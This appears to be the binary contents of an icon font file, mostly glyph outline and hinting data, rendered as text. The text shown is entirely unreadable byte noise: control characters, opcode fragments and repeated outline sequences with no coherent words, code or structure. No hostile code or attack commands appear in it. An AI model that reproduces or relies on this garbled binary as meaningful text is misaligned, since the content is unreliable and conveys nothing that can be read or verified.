!     E R =@:B%#<. LJ:10 I     vGFMLFRGR?>+%'6'7>5&'&&'54&'&'&?7>=676767&'&".4>2KKCK57
``	>+K	@ KKDK94	a_
<0K?!f'A&&ANA&&A*?9*WP*(SW*.	H_)@9*TS**WW**Eb%ANA&&ANA%      M X   K
PX@57 MJ@
ץ}sqgcL0)$"JKPX@57 MJ@
ץ}sqgcL0)$"J@57 MJ@
ץ}sqgcL0)$"JYYK
PX@;     g  i  i	
i Y _OKPX@5   i  i	
i Y _O@;     g  i  i	
i Y _OYY@³POLK=;64'+'&'.?&'#"&5&746;67'&767267676332+&//>'&/'.=&'&'&'&6?&7'.76767>676754676766'.'&'&/.?&'#"5&746;67'&6767667>32+&/>'& 	


((2

-	
)2:&)*	&-2
	
	*17%+)
+	27&*'7&*


C((	

		T((.-
--"
,/*2	2.
$	2*-P'*&7'*'7
	T((       ? ] l@iIC%	F3	L  
 
i 	 i		Y		a 	QA@
	 TS@]A]640.??	
 +"264&3"264&3"264&"327673276764'&'&"/6?'&'&5476762,""0""""0""""0""{kh=?.II26J]}kg=>>=gk}DJ)"62&31TWWT1331TW ,  ,  ,  ,  ,  , 520SVd<:61 !"20RVUR/1z"+2&&.1LA?%&&%?AA?%&      (  / A L2K
PX@5#	?	-LKPX@5#	?	-L@5#	?	-LYYK
PX@< r    g  	g
 	
	ggW_ OKPX@6   g  	g
 	
	ggW_ O@< r    g  	g
 	
	ggW_ OYY@#CB10EDBLCL><970A1@,*'%//#73+'.#!"#&3!26=32654!"&546;;7!"&546;;##5323k\	#0&1"#0#01"	mV[2%X("12%X2%&P&	p#4K&	qZ   F  / G o J@GF5 ,L       i  i Y a Qa]*+2767#"'&'.=2767"'&'&'&=72767"'&'&'&'&=62#"'&'&'&'&=467676nlZ<-C(bQkH\%=Yfd]9AAGG\%
(6nl\:->DHH1#
;xGH0#.#%62+A1$'# 2'(PP(&O!	O'O 
O':
 :      (  ) I D@A  ~  i  Y a  Q EC53 ))
 +"'&'&476762'276764'&'&"#"'&'&'&5476767632}kg=>>=gkkg=>>=gk}_QO/00/OQRO/00/OR ")' ")$l>=gkkg=>>=gkkg=>l/.ORRO./0/ORRO/0")' ")'          @ *@'L      v"!30!@"@.6+6#!"&5467276?67627676767676=4&#!"
2%#4
+gq*-&"**dg6X"	c 2%%2X" #53%j!NS!MM(uK!#52&!E   (  % <@9L    g Y _ O "
 +!2#!"&546	27>?4&#"}#00#"11u&1O

(0#"11"#0t1&O
    0 ; ;@8732-"	 LKI   W _ O ;9 00+2"/+#'&?5467'.54?627>	';>*	h2`2	\p:	2`2h2f\O*2Bh2`2	:q_	2`2hY
XK       @      v#53+#!"&546;2!2K2f2KJ32Kn3Jt2KK23JK2J      g@SD6
LVKK
PX@B   

 
	
	~     g Y  		i aQKPX@6   
	
	    g Y 		i aQ@B   

 
	
	~     g Y  		i aQYY@ggfdba`^PO875420/.*+3'&'&5>763267673"&#"#5737672627527=4'&'&'&'&/#42;"'&+W{	 Bh
"!6S6?.9"B	12%*.+1@2*	;:D6	$7 
	*	
'"	*      (    )@&  i  Y a   Q  +276764'&'&"2*>=gkkg=>>=gkkg=>\PN-//-NP^}kg=>>=gkkg=>>=gk-/-NPPM./      (   ( c@`K  ~ ~	   g g
W
_ O  '&%#( ( +!"#&3!26=3265.!!7#4&#!5!g%2T%22%?#5W#54?X2%t?(1&X1&#02%X2%7&1s#5S       1 @' J   v+..267>'&'.767>7>_4113@%18$&#84)j",#XX#:?!XZ", +*11*+6KF180EL9"_03&!C>!"3.a"      | 7 I 9@62 E<(&L     i Y a QB?+#+6762"'&'&>26764&'&#01"&5?636/546;2!7^mj\_l35\`7-,'CBKO&%NCAFC	!lC
y'856mj\_k35`-C&%NCA&#'B	X6
"         ) 7 h@e61,L 	   g
 i g W _ O+*"! 43/.*7+7&%!)") 
 +!"3!265."&5463!2#!"264&!5'&"'&"g%22%#53	+++9*)e`KK1&#42%/&1~		+8++9*_ħKK   (   F <@9 i  g   W  a  Q 64'%
 +276764'&'&"2"&46.547>;2+'&'&5467676=4'&}kg=>>=gkkg=>>=gk}'>	y			

l>=gkkg=>>=gkkg=>**	
	       # J &@#       vJI43#"+6?>&'&"&4?>&'&4627.6?62'.6?>7:u T"2,2)poR!+y+qo) />8:y8:6+ 6)o78R +y+qo)-Ey87"2 +2+!Roq+u+ )+ y876 +6* Roq+y+ )+     3  @    W _ O#++%/&4?6!2#!$		\%%

	p&2%     3  @    W _ O#++%?64/&!"3!

%%\

	p&2%     <  @  L     v5+"/&463!2;
     % G @D/	 J   v)'+&'&'&'.'&54767676?676#"&'&'&57676767676s@3-<Ea',Cq?b !"( `{RG	
  :EW',%C2*$77:

",A#,         * 1 >@;/.-I     ~  Y a Q10,+$#+"/&4?62%?64/&"&4762'3'73|KKA`S":Oh2:OOdC.B%b?;l    (  ) 7@4~    i Y a Q###%+>2"&'&4#";26=3264&+54&"h>||>>&&Ci||||ikL&&     8 H _@\2	L  

  		   
 
ig		Y		a 	Q:9  A@9H:H76*)   ###+546232+"&=#"&463#"'&'&476762"'%2>4'." , G  G , G  Q/n;eUS0220SUUS01$# +EwF$"wx"$F;<G  G ,!F!!F!, #$20SUUS0120RVd?n,, Fw<:FF:=x"$       # / ; G r@o  	 	  

g g  g 		Y 		a	Q=<10%$ C@<G=F740;1:+($/%.#"	 +%132"/&>;462"&463!2#"&46;2#"&46;2#"&463!2#S	S!, &&&&&&%%&&:%%:&&%%

L%% ,  ,  ,!!,  ,  , q ,  ,        5 @@=  ~g   W  a  Q2/(%"55%#	+	"&=#"&=46;5462#";2+".54>;2$$0 00 /O--O/="00&-O/^/O-&   (    & 0 9 B y@v.L     ii	Y
		ia Q;:21('?>:B;B651929,+'0(0%$! %+"&54>32"264&"264&4&"26"265.!"264&"264&L3J2(#5X#43G54O#52K22I3I/2J/#52L12#52L12#53J24#55#(2I3I/2I0w3J24F5X#54G433J22%%33J22K22J32K2     (  @     v53+#!"&5463!2fDHcfE?Gc~HcfE?Gcf     +  ( & 2+/.?>'7>&''7'?q
((
p*())*)hl&&!*$yy
#,"uu&%     +  2+?>'7>&/.p*)))q
((&$.#
uu
#,$&         # / R@O g 
g 	g   W  _  O%$ +($/%.#" 
+"&463!2#%"&463!2#%"&463!2#%"&463!2#h%%%%%%%%%%%%%%%%!,  ,! ,  ,  ,  , !,  ,!         # / R@O g   g 	g W _
O%$ +($/%.#" 
+"&463!2#"&463!2#"&463!2#"&463!2#&&l#&&&&&%%%%&&'' ,  ,  ,  , !,  ,!q . ,!      5 Q @LK
PX@"       W  a   QKPX@     W a   Q@"       W  a   QYY@	.->))+>54/&'&#"32"'&'.'&=4>;2#"/&'7654'&'&#32		&9	 Z

mZ		
Z	
%
Z
       # / R@O g   g 	g W _
O%$ +($/%.#" 
+"&463!2#"&463!2#"&463!2#"&463!2#h%%&&%%q&&%%%%%%%% ,  ,  ,  , !,  ,!q!,  ,!       # / R@O g   g 	g W _
O&$ ,)$/&/ ## +!"&463!2!"&463!2!"&463!2!"&463!2&&%%&&q%%%%%%%%%% ,  ,  ,  , !,  ,!q!,  ,!      (  , %@"&L       v+"&'&476762764.'&?>'>|>>><ki}&}}%}}'}}#Ci||ikkh?>|}%}}$}}%}}#   (  3 ; ? O q@n1M L   
 
~  g	i 

W 

_ 
OB@ JG@OBO?>=<;:76.,)&#!33
 +%32654&+"#'.+"#";3!265326=.%4;2#!!32654&+"L)

)
&>%%:2"#00s*		*
?			|\dd#42%X22PX			|   k  R d@a<2R=('L ~ ~ ~	   i Y _ O OMIGCA87/-%#	 
+!"3!2>54.#"'&'&'&#"#"&5.546236763232767632	Y.--.s
6N'6&C5#
-Y---	"Y	&& $
		   (  & ; H Q \@Y L  i  		ii   i   Y   a
 QJI=<('NMIQJQCB<H=H21';(;%$#+%327&'&#"'67632>54'&'&""'&'&476762".4>2'264&"9*/11bZ*/F9dr3EHOWT7-&)/.ORRO./3}kg=>>=gkkg=>>=gk}1R00RbR00R1++8++:6"0=!#-5-r>_QO/00/OQ_<;8>=gkkg=>>=gkkg=>0RbR00RbR0l+8+*9+            @ L   v 
 +!"3!2656.>54.?6,+ ,$%&+J(*!;tt
        @ J   v+&'&'.27>'&g1>;v-&!-xz/7 1Z0Z1)

(.&&-''/DA3b1BE       % / @J     v,+('+	.67&767676226?264.u65&w.0D@='":G	//!"I*65w=>A-1N
>G>3+!	$     (  3 A C@@L  ~    i  i Y a QD,+>2"&'&4356?>54'&'&#"347676322654'&"h>||>>T&%"7&`	"/3Ci||||ik'6:&3	 "      .  ) S b b@_QL  ~  i  i  		i  Y a
  Q _^XWSRFD@?98 ))
 +"'&'&476762'276764'&'&"4?67>767654&"#47>32#4762"'.}lh>??>hlli=@@=il}dWT1331TWWT1331TW6
	4`*4!F'%X1/	q@=illi=@@=illi=@\31TWWT1331TWWT130	B!AX    (  + @ G@DL     i gYa Q-, 76,@-@'$+ +$	+%/#"'&'&476762%!2#!"&546276764'&'&"*2|Gk\Z5665Z\\Y56RFC())(CFFC())'DF))*65Z\\Y5665Z\jBA;)'DFFD'))(CFFC()      (   1 [@X    
  g	g W _ O 10-+('$" +!!72#!.54635463232+"&=#"&463c"&12%&12%A&&[1&#53%&1d&&   (     A@>  g g W _ O   	+!!72#!.5463"&463!2#c"&12%&12%&[1&#53%&1&&   (   $@!     v+>2"&'&4!264&#!"h>||>>BCi||||ik&&     .  ) 5 B@?  i g  Y a  Q+* 1.*5+4 ))
 	+"'&'&476762'276764'&'&""&463!2#}lh>??>hlli=@@=il}dWT1331TWWT1331TWyq@=illi=@@=illi=@\31TWWT1331TWWT13E&&        - @- L  v)(! +'&462"&47.7>"/&4?62J} ++ &,&--,}9},+ +&'+ +,}          6 3@0  i   W  _   O65#6)7+#!".54>7>32;26=32?64/&#"31R04X3>i>5]:&PDwP
}	K	
6U15Z4?k?<fAIV=m

		     , 6@3L    i  Y a   Q%$,,"+%#"'&'&476762"'%2>4'."/n;eUS0220SUUS01$# +EwF$"wx"$F;<u#$20SUUS0120RVd?n,, Fw<:FF:=x"$    (    $@!     v  (+476762#"&'$%2>4."h64Z\\Z467
$"9""9D9""9k\Z4664Z\k]-0E!:D:!"9D9"    gT , j E:K
PXA' d     \    	 [    U 6 ! 
   )  
  ?   
 G          LKPXA' d     \    	 [    U 6 ! 
   )  
  ?   
 G          LA' d     \    	 [    U 6 ! 
   )  
  ?   
 G          LYYK
PX@N		 		~ ~ ~  i  

i    i Y  i a QKPX@I		 		~ ~ ~  i  

i    iYaQ@N		 		~ ~ ~  i  

i    i Y  i a QYYA  l k=<     t s k  l  h f O M J I D C , *      +6"'.'&'.767&76767676766?6?37>&/7>&/76'.'&'&22767676'&'&'&76767676'&'.'&767676&'.?6?67676767676&&'&>76?>126?6?676767>5''&'&767>76.3'&/&'.LPLJ-/.0
"51;F-,k-1shC7(&'
	)*=!FDOR6$#%!$19U_($[IA7+,	)'R355
9IF<>/
!	

 
	':) 

		8"
		#
		
.

1$1%@BRUb$5wj")4 !2a7(&h47*8><-.N/.'&36/"0,[!8R)6.&]h-NE71.?	
+*,d	
:&H=
'* 1R 
07

@=!J'( 		+

N$-)
>6,$	>(%7	 8C$9    ~A  " 1 : D N @ -(%L  
 
g 	 	g  g i W _ OFE<;32 JIENFM@?;D<C762:3:0/'&"" +!2!"&/467!!"!2?4&!57>7>%2"&462!5463%2!5463"1.""2.",KN**:+*SX.""2."."2V|ŇKN5+:+*<***t**      ( - ?@<  gW_ O '$! 	 -,	+2+"&=#32#!"&=46;#+"&=463AQRA(BBBnB       ' w  AK
PX@/ut.q1edb=<:6
 WVSKJGE!
L2^KKPX@/ut.q1edb=<:6
 WVSKJGE!
L2^K@/ut.q1edb=<:6
 WVSKJGE!
L2^KYYK
PX@(          vKPX@$        v@(          vYY@pn'%	+?3?#!"&'54>73%6276#+''"&=&/&'&'&'4737&75/.767>;6?546&32656&2".4>3m0)&&(4X4!13&)	&&&% 	13&&&&%Q*	#(84X44XhX32XM#		&<,
&C5Z7x2	0'2&-2	1&2		-*(4YfY43XjX3    jR   ) 5 D R b n ~   @rz9
	OH
@L{sA
:K  g  g g g g 	i
 
g	 	i g i W _ OoodcTSFE66+* o~o~wvjgcndm\YSbTaMKERFR6D6D?=1.*5+4# )(	  +2#!"&5463!!267%2+"&=4632#!"&463'2#"'54672!"&5467'2+"&=4632#!"&463'2#"&'54672!"&47!"!54&'V&&<&&
		*				_		S
.

"	
[	
O		*				_		S
.
"	
[	<
R%%%l%&		*

*	
-.
		*		*	
.
.	
mi    ! % H@E L   g gW_ O %$#"	 !!	+2!32!"&546735!"&'467!!k".,#".,#,#[".KK,#".S_     ! ( 7 @,@#L
KKPX@H  
r 		r W  g 
 
g  g		W		` 	PKPX@I   		r W  g 
 
g  g		W		` 	P@J   		 W  g 
 
g  g		W		` 	PYY@-*)"" ?>;:652/,+)7*7"("('&%$
	 !!+#532>/&";#"3!26=6&%7##5!53;26=3'"&462sd ,@* d,, +*c,,>  42.>>-7+ ,,,g2,,2d      V  @ LI    v)+654'&'&"327765$0/PSSP/00/PS`AQ2:LZNK,..,KNML,.	)     k  % 1@. L    W  _   O%$"7+#!"&'!2>52!".'4>7&-8_91Y-M-!8"5!!8"5!Y19_8-&-M-5!!8"5!V!8" 	    3 G V j ~   K
PX@{T;
 LKPX@{T;
 L@{T;
 LYYK
PX@l  

     	g		g ii  i  

g W _ OKPX@d  

    	g		gYi  i  

g W aQ@l  

     	g		g ii  i  

g W _ OYY@DmkXW  wtk~m~b_WjXiPO65-*'$32  +%1#.=462"&54&#!"3!2#!"&546362"'#'&?%6"'&?'&2+".=4>3#";2>=.2".4>"264&72"&46F	B
CV(3v

}(44(???O,
S
SB>'A&&A''A%%A'.../q!7!!7B8  8! //@//a	;)		R!!!;)z);BCSP
X
WGB%A''A%%A''A%)....C!7B7! 8B8 *-D--D-?          * 7 l@i %$L
    	 i i Y _ O,+ 21+7,7*) 	 +2!"&'467"2>4.%#"'&/767632".4>q".,#".,#=j>>jzj>>j
1. "-2#9!!9F9!!9,#".,#".h>jzj>>jzj>!I}!9F9!!9F9!      R  & 3 C [ e i r          3K
PX@% &G	W
P!LKPX@% &G	W
P!L@% &G	W
P!LYYK	PX@r  p7#6!5)'%&%g*(&$" & g432g+ , g/.		g1 i-0
i

g  i W _ OK
PX@r   ~7#6!5)'%&%g*(&$" & g432g+ , g/.		g1 i-0
i

g  i W _ OKPX@   ~7#6!5)'%&%g*(&$" & g432g+ , g1/.		g-0
i

g  i W _ O@   ~7#6!5)'%&%g*(&$" & g432g+ , g/.		g1 i-0
i

g  i W _ OYYY@ȹtskj]\ED54(' ǹƱ|ystonjrkrihgfa`\e]eUSNLKJD[E[=:4C5B.-'3(3&& 8+2#".'54>7#"32>754.'2".4>%2+"&=463!2#32#"&'5467"2654&%#3%2"&462+"&=463!2"&=#32+"&=463#3%2"&=#"&=4632+"&=463!2#"&'5467!2#"&'5467#3%#3%#31%?'#=%%@'#=%&;6%,*`!8  8B8 !7

yu

y /-E,/צ}

}}H_c$$^#=%%?($=%%@'*6%&;*,B 8B8  8B7!		C-B/-" /'	)m		mm		m$*     k  @ I  v$#+&'&#".#"67676N5.:7\Z7:/58.cR\\Rc.8J&!:..:!&JWmZ_O==O_Zm   ( + N@K( L	   i Y _O $"! 	 +*
+!"3!#53547632#"3#!2>5.#Z4./42Z"*$>,u.<)(./+8q_31}#`.*:       ; ?@<:853& " L         v%$#)+#"'232767"&'2327.=.47&54>326767_#$BGah}	@<94=_ +D'#1&.Fegr2V3)H:?
+C*-`]`LP-0T'H95M-	Td-V353V2# 7	9    ) l J@GV1+] L   i  i   Y  a   QhgNL@>75')%+#"'7676?327>54.#"674674'&'&5&67632#".76767654'&#".'&5476762><gj{CB):!D75>IN^GA$"		0-1>7X1A'#&U$&><gjjg<>b{jg<>
I&1.&%NJxE(%@>H"H%
2Z.T5=0/4'("2
dh(!SV^{jg<>><gj      1 G a w@t\BT< -L
    ~	gW_OHH32 HaH_XWSQ@>:92G3E+'" 11	 +2#'./7>?357>!232#"&/5462"&/5#"&/46?!#"&/57>?_ @     + (!          % 8 K @B/
G<4)	! 	L 
 

 		 	 ~  ~  		g  W  _  O:9'& EC@?9K:K20-,&8'8%%
 +2"&'5#"&'5467!"2675326754&'%26754&"#"!"&'546232k ,!+ ,!+              0 < L X \ ` l x           (  2#!"&'463!"3!2674&#2+"&=4632+"&463%2+"&=4632+"&463%#3%#3'2+"&463!2+"&463%2+"&=4632+"&463%2+"&=4632+"&463%#3%#3'2+"&463!2+"&463%2+"&=4632+"&463%2+"&=4632+"&463%#3%#3'2+"&463!2+"&463)<8()<8( #"#"a

S

$		}

M		S

#

}		))**		}



}		

S

$		}

M		S

#

}		))**		}



}		

S

$		}

M		S

#

}		))**		}



}		3%H&63%&6*L	S

S	TT	S

S	T****T
S

S
SS
S

S
S))))S	T		T	SS	T		T	S****S      j(   ? \       @=`Ȱ3+9mYQ
;%

LKPX@y	
r$ ( g#!" i  g& gg 'ig  		g  
g
%
h W _ O@z		$ ( g#!" i  g& gg 'ig  		g  
g
%
h W _ OY@_ˮ]] ½ʮʨ]]xwlk\[WVSRONKJCBA@?>7510*("!	 )+2!"&'467!!267%"/##"&'54673'46737232'!37>354623546232&/./##'.67367#"&'546?!?3235'5'46732"#"!54&/#"&5?4&!"!54&'"&462"&462"&462)<8))<9)\l $T/"A!(:!1	./*)v
	
		
v	

SE
S	$ ST(6'(:6((:v!
#2P''L+ \3	7.	
2.	
.
c		,
		
h*	=p	daGB"?		       # N l o    @

&ledG3t\[PS<	R	uonQ
L 

 ~ ~ ~ ~ 		~ 		~ ~  g 
g W _ Oqp pqhg_^VU+(#"
 +2!"&'46?!"!2674&'7673/&?'.?>7'".?'".?'".?7"6574/&'".?62%7'".?'".?'".?)<8))<8)$ $ 7d5gba		

lTbx7(c{ab	
	2%I%62%%6*KV87d3haa		hkax	7(caa		      % <@9  g  g W _ O "!%%
 +2#!".5463!3!265!"!4&0<,0<,Vl%&>&&*P(3)(4eu         $ H@EL  g  g W _ O  $#	 +2#!"&'463!3!267!"!54&#)<8()<8(^l"#>#"3%H&63%&6OK    j(  : A N [ p ~       @6,+¿
|u	{	m`aA	LKPX@'%#!r4r1 7)+ )g:/9.8+0-,*+,i **g(&$" h6
Y 

i5	Y 		i32h  gW_ OKPX@'%#!4r1 7)+ )g:/9.8+0-,*+,i **g(&$" h6
Y 

i5	Y 		i32h  gW_ O@'%#!41 7)+ )g:/9.8+0-,*+,i **g(&$" h6
Y 

i5	Y 		i32h  gW_ OYY@qq]\POCB q~q~yxlked\p]pUTO[P[HGBNCN?=<;:93210*)('! 	 ;+2!"&'467#35#"&46?35#"&46?35#"&46?35#"&46?3%!!267%2#"&46?32#"&46?2#"&46?3546?2"&'54672"&'546%#3%!3546235462354623546235462354623!"!54&'2"&4632"&4632"&46)<8))<9)0h 0*
**
**
**
*,$Q	
.
	
.

.

	hh,>SSSSS)>$ 	\\	(8))<8)*<$SSSS> )
*}
*	
.}
*	
.hhh*
**
**
**
**
**
*!D>#)      j(       $@3x3'wpo;:nUB<!mkF>=
e[G	
	LKPX@Qr 

p  gi  gg
	
	h W _ O@S 

~  gi  gg
	
	h W _ OY@= usih_^WVTSNM87+*#" 	 +2!"&'467!!2672#7#"&/4673#3"&'5546?2#"&4673'32#/54627'#"&'55?37!"!54&'"&462"&462"&462)<8))<9)\l $		KG

}
KG

^$ ST(6'(:6((:v!
{		KG
z
}	
GG	9GB"?		      # T    @X'
f_5.~KztFAL$
K

 
 gY	g i W _ OVU |{wvsrihcb^[UVIHDC@>7621-*## +2#!".54>3!"3!2654&2357>23#"&/5'&5476?6?6!2357>23#"'&'5'&=?>'2#&'&'&'&'&'&4767676767&67>76?6/&'&'&0000$$$$V		dEVdD

	!	
	
	
	+P+++*P
	4	55
3(w	
4557w#%(!&&
2 ,	
  	    U n      f@<R NGQPF|r<+;,{se	*!	
LKPX@K r 	r g  g  g
g  		g   W  `   PKPX@L  	r g  g  g
g  		g   W  `   P@M  		 g  g  g
g  		g   W  `   PYY@-oooowvihXWKJBA@?&$UT+!.'>7!7>!#!7>75'&'&6?6746737!"&/5467!275.'.6?>&%2#"&/467#3776?67673?76.!!8'(77(N#5 H  H!!$%f04"	
	
">!@
'b(	
Ի}"!@2#5sH

!$D'77'U(7."7 @   5'W!$*
	m5 "#
54	
$)*
: XUk+'t}      # 9 G T b p ~     @*
1
L   g$#g"! g		i g 
g 
 
i g W _ OrqdcUUIH;:%$ ywq~r~kicpdpUbUb][ONHTITB@:G;G42/.$9%9## %+2#!".54>3!"3!2654&2/#".4>2!"&46?%"2>4.2#"&46?%2!"&46?2#"&46?!2#"&46?!2#"&46?%2#"&46?!2!"&46?0000$$$$(D(GJ)/(C((C	
	
00:01	
#	
	
	
	
	

w	
}
	
	
	
+P+++*P(D(2'IK(CPD(1:10:0h}}}   	    # 1 ? V d g u  @L  g g g  	g	 
	
g g g W _ OwvihXW32%$ ~|vwpnhuiugf_]WdXdJI:82?3?,*$1%1#"
 +2!"&'46?!"!2674&'2!"&46?%2!"&46?&/#'#.?>2!"&46?'3%2!"&46?%2!"&46?)<8))<8)$ $ E	
f	
	
f	
ziwh'	
	
-Y	
	
M	
	
2%I%62%%6*K}mFF$}S}     j(   < ^ o s        @|^lb
	zYA
kcL  ~ " g%$#i  gi! g  i  g  	i	 
	
g  g W ` Put__ Žtusrqp_o_ohgKI>=,+<@<	 &+2!"&'467!!2672/&/.54>"33?6?6?'./2#"&'5467#3"67&54>2654."264&%2#"&'5467#3!"!54&'2"&4632"&4632"&46)<8))<8)]l!$>j=(#			

',=i>%?

		
9"

!3V2#6"080"6#3V3%%3%%

?$!	\\	(;*+>;*+>~&#=j>2X 	 ]4?i>% 
)	W
X)*M2V3<11 .00. 21<3V2S$4%%4$S	W
X)*#@:&)   	  =   / @ Q b    @άf|_WNF=5+#L   g  gg 
 g	W	_OccSRBA10!  cc}yxutonig[YRbSaJHAQBP970@1?)' /!/	 !+%2#"&'5467!2#"&'5467!2#"&'5467#";26=4&#!#";26=4&#!#";26=4&#232"&54&'##"&'5#""&54>735462#"&'5467#"326754&'&hhzhd	h
wd	h
d	h
E'C(7)
/%@%\)<8()<7(#!#!Ohhhhhh)h
h	h
h	h
h	w
l(C'

)<h

l/

'A(h	7))<8()<)!"!#     (  - 6 ? KPX@<    
p

i  		i Y ` P@=    

~

i  		i Y ` PY@#87 <;7?8?5410,)$"  +#"#"276.+6&54&#!"/!"3!26'4&"2672"&46<
pXLX>O(

,XX<2       (@%I     Y a Q+%&6767677%64m_J@*%dOS[V{
92XK^QJs=?
!   lP b              ?6/&#"&/."'.'&6?>'&&'&47>>&/.767626?462.765!276#"'.'&47>76"&''6>267.?>64'".67&#'#&%2".4>"264&%#3&'7#35'#367#37#3&'7#3&'%363573.'3.0H7A$
$A	3K
aYV$&`	"aYV$&&$VY"&#		#&"(!		 hQ/w'j>700800%%4$$<ۅ; ׭4
;d&w",OÞN,l4#w(j.;		'E'	%			%$H&	:
	 &$VYa"	`&$VYYV$& "("  /"EW	2K7080080)%4$$4%p`Vcs]_qlddlc\_qiZH0[[QABV5[2J     = $ I n ~   KPX@H  p	q  hi
i W aQ@F 	  hi
i W aQY@FqoKJ&%  yvo~q~kib`]\YWPNJnKnFD=;8742+)%I&I $ $'#'$+232+"&5#".=4>;546!232+"&5#".=4>;46!232+"&=#".=4>;46#";26=4&%#";26=4&%#";26=4&1100V	0000V	00002S%%S%%T%%T$$S$$S%%=	>0T0		20T0>		0T0		80T08		0T0>		>0T02	$T$$T$$T%%T$$T$$T$     jJ  , 8 T@Q21(#!L 
 i	i Y _ O.- 43-8.8&%,, +232#!"&54>;5>76"26?54&"!5.I~OO,8(,(8,ON>AK./>.1"-M1^0OJFyI,x(77(,J}$%)d*&]#1*I+.M-     ( ? J S \ e @D

=	L   
 
gi  g 	 	g i W _ O^]UTLKB@*) ba]e^eYXT\U\POKSLSFE@JBJ<;7521)?*?  ('+2"&'5!!2675462!".'4>72"&=!"&467!5>!"!54&'2"&4632"&4632"&46F6"!"4U 6!4	hi\"""4 %l 6"5f 6"Ubb	8!8	W}x&""""""      ( @ K T ] f@E

>	LKPX@[ 				p ~ ~ p ~ 
 
gi  g W ` P@] 				~ ~ ~ ~ ~ 
 
gi  g W ` PY@?_^VUMLCA)) cb^f_fZYU]V]QPLTMTGFAKCK)@)@=;7521  ('+2"&'5!!2675462!".'4>7"26=!264&/!54&!"!54&'2"&4632"&4632"&46F6"!"4U 6!4hi\"""4 %l 6"5f 6"Ubb	8!8W}x&""""""       D Y f t M@JL)I
   i W	g _ Ohg pmgthtb`[ZGE><'& +2"&46>&'&'.632#'&'&'&67676735'&'&6#"676?657%'"&>7''#"&467
9/'!)(@	A	1 X,0%'S	%1H 1$!CTy

C
	F
@ 6/	HJ	O>@)	!&*f'%B=F:)M,H>     # 3 C G K T ] f o            59=  2!"&'46?!"!2674&'2#!"&5463#2#!"&5463!!%!!'2"&4632"&46!2"&4632"&46%232#"&/#"&'546?!232#"&/#"&/46?#3%#32#!"&5463#2#!"&5463!!%!!'2"&4632"&46!2"&4632"&46%232#"&/#"&'546?!232#"&/#"&/46?#3%#3)<8))<8)$ $ 		F		
8K9I	}	IyP#
yP#
\;[;		F		
8K9I	}	IyP#
yQ"
\;[;2%I%62%%6*K`11):J	h
J	h	M000.11):J	h
J	h
M000      # 3 C S c g k o s      @ ! x`P@0XH8(L" # g( g+ g   ! g ! !g*)i  g'&	%$g
g W _ OttTTDD44$$ tt|zsrqponmlkjihgfedTcTb\ZDSDRLJ4C4B<:$3$2,*#"
 ,+2!"&'46?!"!2674&'2+"&=463!2+"&=463!2+"&=463!2+"&=463#37#37#37#32#!"&5463!!%2"&4632"&46232#"&/#"&'546?#3)<8))<8)$ $ s				ppp		``\\__\\				
Kq+<"
5'2%I%62%%6*Kaaaaaaaa*))))))))5w*4	
iw   ( . F ` j @	I `_^UTSQJF>=<43/2LK 	~   g
g W _ Oba gfajbjZXNMHGB@8710*)'& .-+232#"/!"&''.?>37>7!5'#"&'5'#"&'%!>732546?32#"3'&'X$;

 k7( 03:"o	-o
-o	.n
*o (f ]0$.!0t ,f0`$
q`

`	G``J75       # 3 @ D R ^ n u    @k|xsc0(L   g gi  i  g
g
 
g	g W _ O__TSFE54$$ ~wvut_n_mgeZXS^T^MKERFRDCBA;94@5?$3$2,*#"
  +2!"&'46?!"!2674&'2#!"&=4632!"&46?'!!%2!"&46?%2!"&4672#!"&5463/!!767>2"&46"264&)<8))<8)$ $ `{			
		iM	
	
M	
		X				$~
~%%4$$	2%I%62%%6*K}}SSR	Jw	I*%4$$4%*    jR   & 1 n	K	PX@k[YCB@,'%$LK
PX@k[YCB@,'%$L@k[YCB@,'%$LYYK	PX@+ ~ 	 i Y a QK
PX@1 ~ ~ 	 i Y a Q@+ ~ 	 i Y a QYY@32 TRQLIH:62n3n 
+2"'.'&47>76327%67654"32?6#/&/"&67;6?2?654'&/&'&5467&'&f]Y&''&Y]]Y&''&Y]n>CNIoJ#ic:;6tfc>2-
0gI		-0!% 
00	
'>LNR'&Y]]Y&''&Y]]Y&'qWPN|&FRfLNd>eiygc75\54A#'$05   (  c p   @y]zS' FL 

 

 	
	~g   i  i 

i 	 	g Y a Qqqed qqkjdpepA>4321,+cb +2".4>276#&&?4."372+"&/&'&/&6?5&4?'.?>6?>3"2>4./762&547.54>3264'&6?''&'&/"/&4627629a88ara88a~^TP8;
.O^O..O/	

,_TPPS__.O..O\O/.Or
&	
iVYYTk&
c!6Z48a97];(-YTk
$"M?x88ara88ara8d&
	?
	
0P/.O^O/	!&O>
e
&
	?>	
&d.O^O./O\O/p*H
!
E)o>G;]79a84Z6	
E)
oL>x 	  j(   * ? X c l u ~ @]
	U/L ~ 	 g	
	
i  g W _ Owvmmed[Y {zv~w~mumurqihdlel_^Yc[cNMBA?>	 +2!"&'467!!267.?>/.?62>"/&4?'&6!"!54&'2"&4632"&4632"&46)<&)<8)]l!#l{xF{{$!	\\	(;*, ;++>~&$C{x{{i#@:&)    6 T r  h@
g[>3JK
PX@    Y  _   OKPX@  Y _   O@    Y  _   OYY@	FDCB+6767>/&/&/&/.?6?67676767;/4/&/.'7&>'&/&/&76?6767676'HOJFCc'&'<@O?Z)%'06H"	#
!733)!!'*+

'(*!&,	;	"'+BGIH&$
B	V@=&
N?;&$+]>@CI@
/82_ [<#+8'"0.
 (("
Y04%
	 78M)/"'+EHDC)%!	  
  (   & / 6 = H R Y d @;Y3	L  ig
	g		Y		a 	QZZ?>8710 ZdZda`VUPOJIDC>H?H7=8=0616.-*)"!&&
 +"276764'&'&#&'%2#67>473#&3.'#>7"&'&'3!&54?!67347654'3|kh<??<hkkh<??<hk|';],,'|';]||];',,p'|];E(?<hkkh<??<hkkh<?dK[:3-1>>1-3$&040&~fIZ;E:[Kd3-2>>2-3($&!$LIf;Z"&$"P"    c    @g 		LK   i  g  		g
Y
_O ֿ~wvqp^]ONLIGF?>7530., cb+2#!54/&'&'.6;22+"&63676?6=#2+"&6367>7654/&'&'#.63633!'.6?3267674'.'&/.63676?67#3&=463!23&54?##!"&=473'&'
	 	

		

		

		Y
	
	
		
	#N7	-/.	)	//		CN
	$ 4!#D""#			4($   j(   ! % ) 0 4 8 C L U ^ @=
	8754320/,+)%!L 	 g	
	
i  gW_ OWVMMED;9 [ZV^W^MUMURQIHDLEL?>9C;C('$# 	 +2!"&'467!32?67%3737377'7'7!"!54&'2"&4632"&4632"&46)<&)<8)]lY_veIv\>$!	\\	(;*, ;++>ЙeI8T]vv>#@:&)      + !LKPX@1 r
  g	   g  h W _ O@2 
